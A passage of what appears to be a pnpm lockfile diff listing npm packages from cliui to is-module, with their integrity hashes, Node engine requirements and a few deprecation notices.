sha512-ywqV+5MmyL4E7ybXgKys4DugZbX0FC6LnwrhjuykIjnK9k8OQacQ7axGKnjDXWNhns0xot3bZI5h55H8yo9cJg==} - engines: {node: '>=6'} - - cliui@6.0.0: - resolution: {integrity: sha512-t6wbgtoCXvAzst7QgXxJYqPt0usEfbgQdftEPbLL/cvv6HPE5VgvqCuAIDR0NgU52ds6rFwqrgakNLrHEjCbrQ==} - - color-convert@1.9.3: - resolution: {integrity: sha512-QfAUtd+vFdAtFQcC8CCyYt1fYWxSqAiK2cSD6zDB8N3cpsEBAvRxp9zOGg6G/SHHJYAT88/az/IuDGALsNVbGg==} - - color-convert@2.0.1: - resolution: {integrity: sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==} - engines: {node: '>=7.0.0'} - - color-name@1.1.3: - resolution: {integrity: sha512-72fSenhMw2HZMTVHeCA9KCmpEIbzWiQsjN+BHcBbS9vr1mtt+vJjPdksIBNUmKAW8TFUDPJK5SUU3QhE9NEXDw==} - - color-name@1.1.4: - resolution: {integrity: sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==} - - commander@2.20.3: - resolution: {integrity: sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==} - - commander@9.2.0: - resolution: {integrity: sha512-e2i4wANQiSXgnrBlIatyHtP1odfUp0BbV5Y5nEGbxtIrStkEOAAzCUirvLBNXHLr7kwLvJl6V+4V3XV9x7Wd9w==} - engines: {node: ^12.20.0 || >=14} - - common-tags@1.8.2: - resolution: {integrity: sha512-gk/Z852D2Wtb//0I+kRFNKKE9dIIVirjoqPoA1wJU+XePVXZfGeBpk45+A1rKO4Q43prqWBNY/MiIeRLbPWUaA==} - engines: {node: '>=4.0.0'} - - concat-map@0.0.1: - resolution: {integrity: sha512-/Srv4dswyQNBfohGpz9o6Yb3Gz3SrUDqBH5rTuhGR7ahtlbYKnVxw2bCFMRljaA7EXHaXZ8wsHdodFvbkhKmqg==} - - connect-history-api-fallback@2.0.0: - resolution: {integrity: sha512-U73+6lQFmfiNPrYbXqr6kZ1i1wiRqXnp2nhMsINseWXO8lDau0LGEffJ8kQi4EjLZympVgRdvqjAgiZ1tgzDDA==} - engines: {node: '>=0.8'} - - convert-source-map@2.0.0: - resolution: {integrity: sha512-Kvp459HrV2FEJ1CAsi1Ku+MY3kasH19TFykTz2xWmMeq6bk2NU3XXvfJ+Q61m0xktWwt+1HSYf3JZsTms3aRJg==} - - core-js-compat@3.37.1: - resolution: {integrity: sha512-9TNiImhKvQqSUkOvk/mMRZzOANTiEVC7WaBNhHcKM7x+/5E1l5NvsysR19zuDQScE8k+kfQXWRN3AtS/eOSHpg==} - - create-codepen@2.0.0: - resolution: {integrity: sha512-ehJ0Zw5RSV2G4+/azUb7vEZWRSA/K9cW7HDock1Y9ViDexkgSJUZJRcObdw/YAWeXKjreEQV9l/igNSsJ1yw5A==} - engines: {node: '>=18'} - - cross-spawn@7.0.3: - resolution: {integrity: sha512-iRDPJKUPVEND7dHPO8rkbOnPpyDygcDFtWjpeWNCgy8WP2rXcxXL8TskReQl6OrB2G7+UJrags1q15Fudc7G6w==} - engines: {node: '>= 8'} - - crypto-random-string@2.0.0: - resolution: {integrity: sha512-v1plID3y9r/lPhviJ1wrXpLeyUIGAZ2SHNYTEapm7/8A9nLPoyvVp3RK/EPFqn5kEznyWgYZNsRtYYIWbuG8KA==} - engines: {node: '>=8'} - - css-select@5.1.0: - resolution: {integrity: sha512-nwoRF1rvRRnnCqqY7updORDsuqKzqYJ28+oSMaJMMgOauh3fvwHqMS7EZpIPqK8GL+g9mKxF1vP/ZjSeNjEVHg==} - - css-what@6.1.0: - resolution: {integrity: sha512-HTUrgRJ7r4dsZKU6GjmpfRK1O76h97Z8MfS1G0FozR+oF2kG6Vfe8JE6zwrkbxigziPHinCJ+gCPjA9EaBDtRw==} - engines: {node: '>= 6'} - - csstype@3.1.3: - resolution: {integrity: sha512-M1uQkMl8rQK/szD0LNhtqxIPLpimGm8sOBwU7lLnCpSbTyY3yeU1Vc7l4KT5zT4s/yOxHH5O7tIuuLOCnLADRw==} - - data-view-buffer@1.0.1: - resolution: {integrity: sha512-0lht7OugA5x3iJLOWFhWK/5ehONdprk0ISXqVFn/NFrDu+cuc8iADFrGQz5BnRK7LLU3JmkbXSxaqX+/mXYtUA==} - engines: {node: '>= 0.4'} - - data-view-byte-length@1.0.1: - resolution: {integrity: sha512-4J7wRJD3ABAzr8wP+OcIcqq2dlUKp4DVflx++hs5h5ZKydWMI6/D/fAot+yh6g2tHh8fLFTvNOaVN357NvSrOQ==} - engines: {node: '>= 0.4'} - - data-view-byte-offset@1.0.0: - resolution: {integrity: sha512-t/Ygsytq+R995EJ5PZlD4Cu56sWa8InXySaViRzw9apusqsOO2bQP+SbYzAhR0pFKoB+43lYy8rWban9JSuXnA==} - engines: {node: '>= 0.4'} - - dayjs@1.11.12: - resolution: {integrity: sha512-Rt2g+nTbLlDWZTwwrIXjy9MeiZmSDI375FvZs72ngxx8PDC6YXOeR3q5LAuPzjZQxhiWdRKac7RKV+YyQYfYIg==} - - debug@4.3.5: - resolution: {integrity: sha512-pt0bNEmneDIvdL1Xsd9oDQ/wrQRkXDT4AUWlNZNPKvW5x/jyO9VFXkJUP07vQ2upmw5PlaITaPKc31jK13V+jg==} - engines: {node: '>=6.0'} - peerDependencies: - supports-color: '*' - peerDependenciesMeta: - supports-color: - optional: true - - decamelize@1.2.0: - resolution: {integrity: sha512-z2S+W9X73hAUUki+N+9Za2lBlun89zigOyGrsax+KUQ6wKW4ZoWpEYBkGhQjwAjjDCkWxhY0VKEhk8wzY7F5cA==} - engines: {node: '>=0.10.0'} - - deepmerge@4.3.1: - resolution: {integrity: sha512-3sUqbMEc77XqpdNO7FRyRog+eW3ph+GYCbj+rK+uYyRMuwsVy0rMiVtPn+QJlKFvWP/1PYpapqYn0Me2knFn+A==} - engines: {node: '>=0.10.0'} - - define-data-property@1.1.4: - resolution: {integrity: sha512-rBMvIzlpA8v6E+SJZoo++HAYqsLrkg7MSfIinMPFhmkorw7X+dOXVJQs+QT69zGkzMyfDnIMN2Wid1+NbL3T+A==} - engines: {node: '>= 0.4'} - - define-properties@1.2.1: - resolution: {integrity: sha512-8QmQKqEASLd5nx0U1B1okLElbUuuttJ/AnYmRXbbbGDWh6uS208EjD4Xqq/I9wK7u0v6O08XhTWnt5XtEbR6Dg==} - engines: {node: '>= 0.4'} - - dijkstrajs@1.0.3: - resolution: {integrity: sha512-qiSlmBq9+BCdCA/L46dw8Uy93mloxsPSbwnm5yrKn2vMPiy8KyAskTF6zuV/j5BMsmOGZDPs7KjU+mjb670kfA==} - - dom-serializer@2.0.0: - resolution: {integrity: sha512-wIkAryiqt/nV5EQKqQpo3SToSOV9J0DnbJqwK7Wv/Trc92zIAYZ4FlMu+JPFW1DfGFt81ZTCGgDEabffXeLyJg==} - - domelementtype@2.3.0: - resolution: {integrity: sha512-OLETBj6w0OsagBwdXnPdN0cnMfF9opN69co+7ZrbfPGrdpPVNBUj02spi6B1N7wChLQiPn4CSH/zJvXw56gmHw==} - - domhandler@5.0.3: - resolution: {integrity: sha512-cgwlv/1iFQiFnU96XXgROh8xTeetsnJiDsTc7TYCLFd9+/WNkIqPTxiM/8pSd8VIrhXGTf1Ny1q1hquVqDJB5w==} - engines: {node: '>= 4'} - - domutils@3.1.0: - resolution: {integrity: sha512-H78uMmQtI2AhgDJjWeQmHwJJ2bLPD3GMmO7Zja/ZZh84wkm+4ut+IUnUdRa8uCGX88DiVx1j6FRe1XfxEgjEZA==} - - ejs@3.1.10: - resolution: {integrity: sha512-UeJmFfOrAQS8OJWPZ4qtgHyWExa088/MtK5UEyoJGFH67cDEXkZSviOiKRCZ4Xij0zxI3JECgYs3oKx+AizQBA==} - engines: {node: '>=0.10.0'} - hasBin: true - - electron-to-chromium@1.5.1: - resolution: {integrity: sha512-FKbOCOQ5QRB3VlIbl1LZQefWIYwszlBloaXcY2rbfpu9ioJnNh3TK03YtIDKDo3WKBi8u+YV4+Fn2CkEozgf4w==} - - emoji-regex@10.3.0: - resolution: {integrity: sha512-QpLs9D9v9kArv4lfDEgg1X/gN5XLnf/A6l9cs8SPZLRZR3ZkY9+kwIQTxm+fsSej5UMYGE8fdoaZVIBlqG0XTw==} - - emoji-regex@8.0.0: - resolution: {integrity: sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A==} - - encode-utf8@1.0.3: - resolution: {integrity: sha512-ucAnuBEhUK4boH2HjVYG5Q2mQyPorvv0u/ocS+zhdw0S8AlHYY+GOFhP1Gio5z4icpP2ivFSvhtFjQi8+T9ppw==} - - entities@4.5.0: - resolution: {integrity: sha512-V0hjH4dGPh9Ao5p0MoRY6BVqtwCjhz6vI5LT8AJ55H+4g9/4vbHx1I54fS0XuclLhDHArPQCiMjDxjaL8fPxhw==} - engines: {node: '>=0.12'} - - envinfo@7.13.0: - resolution: {integrity: sha512-cvcaMr7KqXVh4nyzGTVqTum+gAiL265x5jUWQIDLq//zOGbW+gSW/C+OWLleY/rs9Qole6AZLMXPbtIFQbqu+Q==} - engines: {node: '>=4'} - hasBin: true - - es-abstract@1.23.3: - resolution: {integrity: sha512-e+HfNH61Bj1X9/jLc5v1owaLYuHdeHHSQlkhCBiTK8rBvKaULl/beGMxwrMXjpYrv4pz22BlY570vVePA2ho4A==} - engines: {node: '>= 0.4'} - - es-define-property@1.0.0: - resolution: {integrity: sha512-jxayLKShrEqqzJ0eumQbVhTYQM27CfT1T35+gCgDFoL82JLsXqTJ76zv6A0YLOgEnLUMvLzsDsGIrl8NFpT2gQ==} - engines: {node: '>= 0.4'} - - es-errors@1.3.0: - resolution: {integrity: sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==} - engines: {node: '>= 0.4'} - - es-object-atoms@1.0.0: - resolution: {integrity: sha512-MZ4iQ6JwHOBQjahnjwaC1ZtIBH+2ohjamzAO3oaHcXYup7qxjF2fixyH+Q71voWHeOkI2q/TnJao/KfXYIZWbw==} - engines: {node: '>= 0.4'} - - es-set-tostringtag@2.0.3: - resolution: {integrity: sha512-3T8uNMC3OQTHkFUsFq8r/BwAXLHvU/9O9mE0fBc/MY5iq/8H7ncvO947LmYA6ldWw9Uh8Yhf25zu6n7nML5QWQ==} - engines: {node: '>= 0.4'} - - es-to-primitive@1.2.1: - resolution: {integrity: sha512-QCOllgZJtaUo9miYBcLChTUaHNjJF3PYs1VidD7AwiEj1kYxKeQTctLAezAOH5ZKRH0g2IgPn6KwB4IT8iRpvA==} - engines: {node: '>= 0.4'} - - esbuild@0.21.5: - resolution: {integrity: sha512-mg3OPMV4hXywwpoDxu3Qda5xCKQi+vCTZq8S9J/EpkhB2HzKXq4SNFZE3+NK93JYxc8VMSep+lOUSC/RVKaBqw==} - engines: {node: '>=12'} - hasBin: true - - escalade@3.1.2: - resolution: {integrity: sha512-ErCHMCae19vR8vQGe50xIsVomy19rg6gFu3+r3jkEO46suLMWBksvVyoGgQV+jOfl84ZSOSlmv6Gxa89PmTGmA==} - engines: {node: '>=6'} - - escape-string-regexp@1.0.5: - resolution: {integrity: sha512-vbRorB5FUQWvla16U8R/qgaFIya2qGzwDrNmCZuYKrbdSUMG6I1ZCGQRefkRVhuOkIGVne7BQ35DSfo1qvJqFg==} - engines: {node: '>=0.8.0'} - - esm@3.2.25: - resolution: {integrity: sha512-U1suiZ2oDVWv4zPO56S0NcR5QriEahGtdN2OR6FiOG4WJvcjBVFB0qI4+eKoWFH483PKGuLuu6V8Z4T5g63UVA==} - engines: {node: '>=6'} - - esprima@4.0.1: - resolution: {integrity: sha512-eGuFFw7Upda+g4p+QHvnW0RyTX/SVeJBDM/gCtMARO0cLuT2HcEKnTPvhjV6aGeqrCB/sbNop0Kszm0jsaWU4A==} - engines: {node: '>=4'} - hasBin: true - - estree-walker@1.0.1: - resolution: {integrity: sha512-1fMXF3YP4pZZVozF8j/ZLfvnR8NSIljt56UhbZ5PeeDmmGHpgpdwQt7ITlGvYaQukCvuBRMLEiKiYC+oeIg4cg==} - - estree-walker@2.0.2: - resolution: {integrity: sha512-Rfkk/Mp/DL7JVje3u18FxFujQlTNR2q6QfMSMB7AvCBx91NGj/ba3kCfza0f6dVDbw7YlRf/nDrn7pQrCCyQ/w==} - - esutils@2.0.3: - resolution: {integrity: sha512-kVscqXk4OCp68SZ0dkgEKVi6/8ij300KBWTJq32P/dYeWTSwK41WyTxalN1eRmA5Z9UU/LX9D7FWSmV9SAYx6g==} - engines: {node: '>=0.10.0'} - - execa@9.3.0: - resolution: {integrity: sha512-l6JFbqnHEadBoVAVpN5dl2yCyfX28WoBAGaoQcNmLLSedOxTxcn2Qa83s8I/PA5i56vWru2OHOtrwF7Om2vqlg==} - engines: {node: ^18.19.0 || >=20.5.0} - - extend-shallow@2.0.1: - resolution: {integrity: sha512-zCnTtlxNoAiDc3gqY2aYAWFx7XWWiasuF2K8Me5WbN8otHKTUKBwjPtNpRs/rbUZm7KxWAaNj7P1a/p52GbVug==} - engines: {node: '>=0.10.0'} - - fast-deep-equal@3.1.3: - resolution: {integrity: sha512-f3qQ9oQy9j2AhBe/H9VC91wLmKBCCU/gDOnKNAYG5hswO7BLKj09Hc5HYNz9cGI++xlpDCIgDaitVs03ATR84Q==} - - fast-glob@3.3.2: - resolution: {integrity: sha512-oX2ruAFQwf/Orj8m737Y5adxDQO0LAB7/S5MnxCdTNDd4p6BsyIVsv9JQsATbTSq8KHRpLwIHbVlUNatxd+1Ow==} - engines: {node: '>=8.6.0'} - - fast-json-stable-stringify@2.1.0: - resolution: {integrity: sha512-lhd/wF+Lk98HZoTCtlVraHtfh5XYijIjalXck7saUtuanSDyLMxnHhSXEDJqHxD7msR8D0uCmqlkwjCV8xvwHw==} - - fast-uri@3.0.1: - resolution: {integrity: sha512-MWipKbbYiYI0UC7cl8m/i/IWTqfC8YXsqjzybjddLsFjStroQzsHXkc73JutMvBiXmOvapk+axIl79ig5t55Bw==} - - fastq@1.17.1: - resolution: {integrity: sha512-sRVD3lWVIXWg6By68ZN7vho9a1pQcN/WBFaAAsDDFzlJjvoGx0P8z7V1t72grFJfJhu3YPZBuu25f7Kaw2jN1w==} - - fflate@0.8.2: - resolution: {integrity: sha512-cPJU47OaAoCbg0pBvzsgpTPhmhqI5eJjh/JIu8tPj5q+T7iLvW/JAYUqmE7KOB4R1ZyEhzBaIQpQpardBF5z8A==} - - figures@6.1.0: - resolution: {integrity: sha512-d+l3qxjSesT4V7v2fh+QnmFnUWv9lSpjarhShNTgBOfA0ttejbQUAlHLitbjkoRiDulW0OPoQPYIGhIC8ohejg==} - engines: {node: '>=18'} - - filelist@1.0.4: - resolution: {integrity: sha512-w1cEuf3S+DrLCQL7ET6kz+gmlJdbq9J7yXCSjK/OZCPA+qEN1WyF4ZAf0YYJa4/shHJra2t/d/r8SV4Ji+x+8Q==} - - fill-range@7.1.1: - resolution: {integrity: sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg==} - engines: {node: '>=8'} - - find-up@4.1.0: - resolution: {integrity: sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==} - engines: {node: '>=8'} - - for-each@0.3.3: - resolution: {integrity: sha512-jqYfLp7mo9vIyQf8ykW2v7A+2N4QjeCeI5+Dz9XraiO1ign81wjiH7Fb9vSOWvQfNtmSa4H2RoQTrrXivdUZmw==} - - fraction.js@4.3.7: - resolution: {integrity: sha512-ZsDfxO51wGAXREY55a7la9LScWpwv9RxIrYABrlvOFBlH/ShPnrtsXeuUIfXKKOVicNxQ+o8JTbJvjS4M89yew==} - - fs-extra@11.2.0: - resolution: {integrity: sha512-PmDi3uwK5nFuXh7XDTlVnS17xJS7vW36is2+w3xcv8SVxiB4NyATf4ctkVY5bkSjX0Y4nbvZCq1/EjtEyr9ktw==} - engines: {node: '>=14.14'} - - fs-extra@9.1.0: - resolution: {integrity: sha512-hcg3ZmepS30/7BSFqRvoo3DOMQu7IjqxO5nCDt+zM9XWjb33Wg7ziNT+Qvqbuc3+gWpzO02JubVyk2G4Zvo1OQ==} - engines: {node: '>=10'} - - fs.realpath@1.0.0: - resolution: {integrity: sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw==} - - fsevents@2.3.3: - resolution: {integrity: sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==} - engines: {node: ^8.16.0 || ^10.6.0 || >=11.0.0} - os: [darwin] - - function-bind@1.1.2: - resolution: {integrity: sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==} - - function.prototype.name@1.1.6: - resolution: {integrity: sha512-Z5kx79swU5P27WEayXM1tBi5Ze/lbIyiNgU3qyXUOf9b2rgXYyF9Dy9Cx+IQv/Lc8WCG6L82zwUPpSS9hGehIg==} - engines: {node: '>= 0.4'} - - functions-have-names@1.2.3: - resolution: {integrity: sha512-xckBUXyTIqT97tq2x2AMb+g163b5JFysYk0x4qxNFwbfQkmNZoiRHb6sPzI9/QV33WeuvVYBUIiD4NzNIyqaRQ==} - - gensync@1.0.0-beta.2: - resolution: {integrity: sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg==} - engines: {node: '>=6.9.0'} - - get-caller-file@2.0.5: - resolution: {integrity: sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==} - engines: {node: 6.* || 8.* || >= 10.*} - - get-east-asian-width@1.2.0: - resolution: {integrity: sha512-2nk+7SIVb14QrgXFHcm84tD4bKQz0RxPuMT8Ag5KPOq7J5fEmAg0UbXdTOSHqNuHSU28k55qnceesxXRZGzKWA==} - engines: {node: '>=18'} - - get-intrinsic@1.2.4: - resolution: {integrity: sha512-5uYhsJH8VJBTv7oslg4BznJYhDoRI6waYCxMmCdnTrcCrHA/fCFKoTFz2JKKE0HdDFUF7/oQuhzumXJK7paBRQ==} - engines: {node: '>= 0.4'} - - get-own-enumerable-property-symbols@3.0.2: - resolution: {integrity: sha512-I0UBV/XOz1XkIJHEUDMZAbzCThU/H8DxmSfmdGcKPnVhu2VfFqr34jr9777IyaTYvxjedWhqVIilEDsCdP5G6g==} - - get-stream@9.0.1: - resolution: {integrity: sha512-kVCxPF3vQM/N0B1PmoqVUqgHP+EeVjmZSQn+1oCRPxd2P21P2F19lIgbR3HBosbB1PUhOAoctJnfEn2GbN2eZA==} - engines: {node: '>=18'} - - get-symbol-description@1.0.2: - resolution: {integrity: sha512-g0QYk1dZBxGwk+Ngc+ltRH2IBp2f7zBkBMBJZCDerh6EhlhSR6+9irMCuT/09zD6qkarHUSn529sK/yL4S27mg==} - engines: {node: '>= 0.4'} - - giscus@1.5.0: - resolution: {integrity: sha512-t3LL0qbSO3JXq3uyQeKpF5CegstGfKX/0gI6eDe1cmnI7D56R7j52yLdzw4pdKrg3VnufwCgCM3FDz7G1Qr6lg==} - - glob-parent@5.1.2: - resolution: {integrity: sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==} - engines: {node: '>= 6'} - - glob@7.2.3: - resolution: {integrity: sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==} - deprecated: Glob versions prior to v9 are no longer supported - - globals@11.12.0: - resolution: {integrity: sha512-WOBp/EEGUiIsJSp7wcv/y6MO+lV9UoncWqxuFfm8eBwzWNgyfBd6Gz+IeKQ9jCmyhoH99g15M3T+QaVHFjizVA==} - engines: {node: '>=4'} - - globalthis@1.0.4: - resolution: {integrity: sha512-DpLKbNU4WylpxJykQujfCcwYWiV/Jhm50Goo0wrVILAv5jOr9d+H+UR3PhSCD2rCCEIg0uc+G+muBTwD54JhDQ==} - engines: {node: '>= 0.4'} - - globby@14.0.2: - resolution: {integrity: sha512-s3Fq41ZVh7vbbe2PN3nrW7yC7U7MFVc5c98/iTl9c2GawNMKx/J648KQRW6WKkuU8GIbbh2IXfIRQjOZnXcTnw==} - engines: {node: '>=18'} - - gopd@1.0.1: - resolution: {integrity: sha512-d65bNlIadxvpb/A2abVdlqKqV563juRnZ1Wtk6s1sIR8uNsXR70xqIzVqxVf1eTqDunwT2MkczEeaezCKTZhwA==} - - graceful-fs@4.2.11: - resolution: {integrity: sha512-RbJ5/jmFcNNCcDV5o9eTnBLJ/HszWV0P73bc+Ff4nS/rJj+YaS6IGyiOL0VoBYX+l1Wrl3k63h/KrH+nhJ0XvQ==} - - gray-matter@4.0.3: - resolution: {integrity: sha512-5v6yZd4JK3eMI3FqqCouswVqwugaA9r4dNZB1wwcmrD02QkV5H0y7XBQW8QwQqEaZY1pM9aqORSORhJRdNK44Q==} - engines: {node: '>=6.0'} - - has-bigints@1.0.2: - resolution: {integrity: sha512-tSvCKtBr9lkF0Ex0aQiP9N+OpV4zi2r/Nee5VkRDbaqv35RLYMzbwQfFSZZH0kR+Rd6302UJZ2p/bJCEoR3VoQ==} - - has-flag@3.0.0: - resolution: {integrity: sha512-sKJf1+ceQBr4SMkvQnBDNDtf4TXpVhVGateu0t918bl30FnbE2m4vNLX+VWe/dpjlb+HugGYzW7uQXH98HPEYw==} - engines: {node: '>=4'} - - has-flag@4.0.0: - resolution: {integrity: sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==} - engines: {node: '>=8'} - - has-property-descriptors@1.0.2: - resolution: {integrity: sha512-55JNKuIW+vq4Ke1BjOTjM2YctQIvCT7GFzHwmfZPGo5wnrgkid0YQtnAleFSqumZm4az3n2BS+erby5ipJdgrg==} - - has-proto@1.0.3: - resolution: {integrity: sha512-SJ1amZAJUiZS+PhsVLf5tGydlaVB8EdFpaSO4gmiUKUOxk8qzn5AIy4ZeJUmh22znIdk/uMAUT2pl3FxzVUH+Q==} - engines: {node: '>= 0.4'} - - has-symbols@1.0.3: - resolution: {integrity: sha512-l3LCuF6MgDNwTDKkdYGEihYjt5pRPbEg46rtlmnSPlUbgmB8LOIrKJbYYFBSbnPaJexMKtiPO8hmeRjRz2Td+A==} - engines: {node: '>= 0.4'} - - has-tostringtag@1.0.2: - resolution: {integrity: sha512-NqADB8VjPFLM2V0VvHUewwwsw0ZWBaIdgo+ieHtK3hasLz4qeCRjYcqfB6AQrBggRKppKF8L52/VqdVsO47Dlw==} - engines: {node: '>= 0.4'} - - hash-sum@2.0.0: - resolution: {integrity: sha512-WdZTbAByD+pHfl/g9QSsBIIwy8IT+EsPiKDs0KNX+zSHhdDLFKdZu0BQHljvO+0QI/BasbMSUa8wYNCZTvhslg==} - - hasown@2.0.2: - resolution: {integrity: sha512-0hJU9SCPvmMzIBdZFqNPXWa6dqh7WdH0cII9y+CyS8rG3nL48Bclra9HmKhVVUHyPWNH5Y7xDwAB7bfgSjkUMQ==} - engines: {node: '>= 0.4'} - - htmlparser2@8.0.2: - resolution: {integrity: sha512-GYdjWKDkbRLkZ5geuHs5NY1puJ+PXwP7+fHPRz06Eirsb9ugf6d8kkXav6ADhcODhFFPMIXyxkxSuMf3D6NCFA==} - - human-signals@7.0.0: - resolution: {integrity: sha512-74kytxOUSvNbjrT9KisAbaTZ/eJwD/LrbM/kh5j0IhPuJzwuA19dWvniFGwBzN9rVjg+O/e+F310PjObDXS+9Q==} - engines: {node: '>=18.18.0'} - - idb@7.1.1: - resolution: {integrity: sha512-gchesWBzyvGHRO9W8tzUWFDycow5gwjvFKfyV9FF32Y7F50yZMp7mP+T2mJIWFx49zicqyC4uefHM17o6xKIVQ==} - - ignore@5.3.1: - resolution: {integrity: sha512-5Fytz/IraMjqpwfd34ke28PTVMjZjJG2MPn5t7OE4eUCUNf8BAa7b5WUS9/Qvr6mwOQS7Mk6vdsMno5he+T8Xw==} - engines: {node: '>= 4'} - - immutable@4.3.7: - resolution: {integrity: sha512-1hqclzwYwjRDFLjcFxOM5AYkkG0rpFPpr1RLPMEuGczoS7YA8gLhy8SWXYRAA/XwfEHpfo3cw5JGioS32fnMRw==} - - inflight@1.0.6: - resolution: {integrity: sha512-k92I/b08q4wvFscXCLvqfsHCrjrF7yiXsQuIVvVE7N82W3+aqpzuUdBbfhWcy/FZR3/4IgflMgKLOsvPDrGCJA==} - deprecated: This module is not supported, and leaks memory. Do not use it. Check out lru-cache if you want a good and tested way to coalesce async requests by a key value, which is much more comprehensive and powerful. - - inherits@2.0.4: - resolution: {integrity: sha512-k/vGaX4/Yla3WzyMCvTQOXYeIHvqOKtnqBduzTHpzpQZzAskKMhZ2K+EnBiSM9zGSoIFeMpXKxa4dYeZIQqewQ==} - - internal-slot@1.0.7: - resolution: {integrity: sha512-NGnrKwXzSms2qUUih/ILZ5JBqNTSa1+ZmP6flaIp6KmSElgE9qdndzS3cqjrDovwFdmwsGsLdeFgB6suw+1e9g==} - engines: {node: '>= 0.4'} - - is-array-buffer@3.0.4: - resolution: {integrity: sha512-wcjaerHw0ydZwfhiKbXJWLDY8A7yV7KhjQOpb83hGgGfId/aQa4TOvwyzn2PuswW2gPCYEL/nEAiSVpdOj1lXw==} - engines: {node: '>= 0.4'} - - is-bigint@1.0.4: - resolution: {integrity: sha512-zB9CruMamjym81i2JZ3UMn54PKGsQzsJeo6xvN3HJJ4CAsQNB6iRutp2To77OfCNuoxspsIhzaPoO1zyCEhFOg==} - - is-binary-path@2.1.0: - resolution: {integrity: sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==} - engines: {node: '>=8'} - - is-boolean-object@1.1.2: - resolution: {integrity: sha512-gDYaKHJmnj4aWxyj6YHyXVpdQawtVLHU5cb+eztPGczf6cjuTdwve5ZIEfgXqH4e57An1D1AKf8CZ3kYrQRqYA==} - engines: {node: '>= 0.4'} - - is-builtin-module@3.2.1: - resolution: {integrity: sha512-BSLE3HnV2syZ0FK0iMA/yUGplUeMmNz4AW5fnTunbCIqZi4vG3WjJT9FHMy5D69xmAYBHXQhJdALdpwVxV501A==} - engines: {node: '>=6'} - - is-callable@1.2.7: - resolution: {integrity: sha512-1BC0BVFhS/p0qtw6enp8e+8OD0UrK0oFLztSjNzhcKA3WDuJxxAPXzPuPtKkjEY9UUoEWlX/8fgKeu2S8i9JTA==} - engines: {node: '>= 0.4'} - - is-core-module@2.15.0: - resolution: {integrity: sha512-Dd+Lb2/zvk9SKy1TGCt1wFJFo/MWBPMX5x7KcvLajWTGuomczdQX61PvY5yK6SVACwpoexWo81IfFyoKY2QnTA==} - engines: {node: '>= 0.4'} - - is-data-view@1.0.1: - resolution: {integrity: sha512-AHkaJrsUVW6wq6JS8y3JnM/GJF/9cf+k20+iDzlSaJrinEo5+7vRiteOSwBhHRiAyQATN1AmY4hwzxJKPmYf+w==} - engines: {node: '>= 0.4'} - - is-date-object@1.0.5: - resolution: {integrity: sha512-9YQaSxsAiSwcvS33MBk3wTCVnWK+HhF8VZR2jRxehM16QcVOdHqPn4VPHmRK4lSr38n9JriurInLcP90xsYNfQ==} - engines: {node: '>= 0.4'} - - is-extendable@0.1.1: - resolution: {integrity: sha512-5BMULNob1vgFX6EjQw5izWDxrecWK9AM72rugNr0TFldMOi0fj6Jk+zeKIt0xGj4cEfQIJth4w3OKWOJ4f+AFw==} - engines: {node: '>=0.10.0'} - - is-extglob@2.1.1: - resolution: {integrity: sha512-SbKbANkN603Vi4jEZv49LeVJMn4yGwsbzZworEoyEiutsN3nJYdbO36zfhGJ6QEDpOZIFkDtnq5JRxmvl3jsoQ==} - engines: {node: '>=0.10.0'} - - is-fullwidth-code-point@3.0.0: - resolution: {integrity: sha512-zymm5+u+sCsSWyD9qNaejV3DFvhCKclKdizYaJUuHA83RLjb7nSuGnddCHGv0hk+KY7BMAlsWeK4Ueg6EV6XQg==} - engines: {node: '>=8'} - - is-glob@4.0.3: - resolution: {integrity: sha512-xelSayHH36ZgE7ZWhli7pW34hNbNl8Ojv5KVmkJD4hBdD3th8Tfk9vYasLM+mXWOZhFkgZfxhLSnrwRr4elSSg==} - engines: {node: '>=0.10.0'} - - is-interactive@2.0.0: - resolution: {integrity: sha512-qP1vozQRI+BMOPcjFzrjXuQvdak2pHNUMZoeG2eRbiSqyvbEf/wQtEOTOX1guk6E3t36RkaqiSt8A/6YElNxLQ==} - engines: {node: '>=12'} - - is-module@1.0.0: 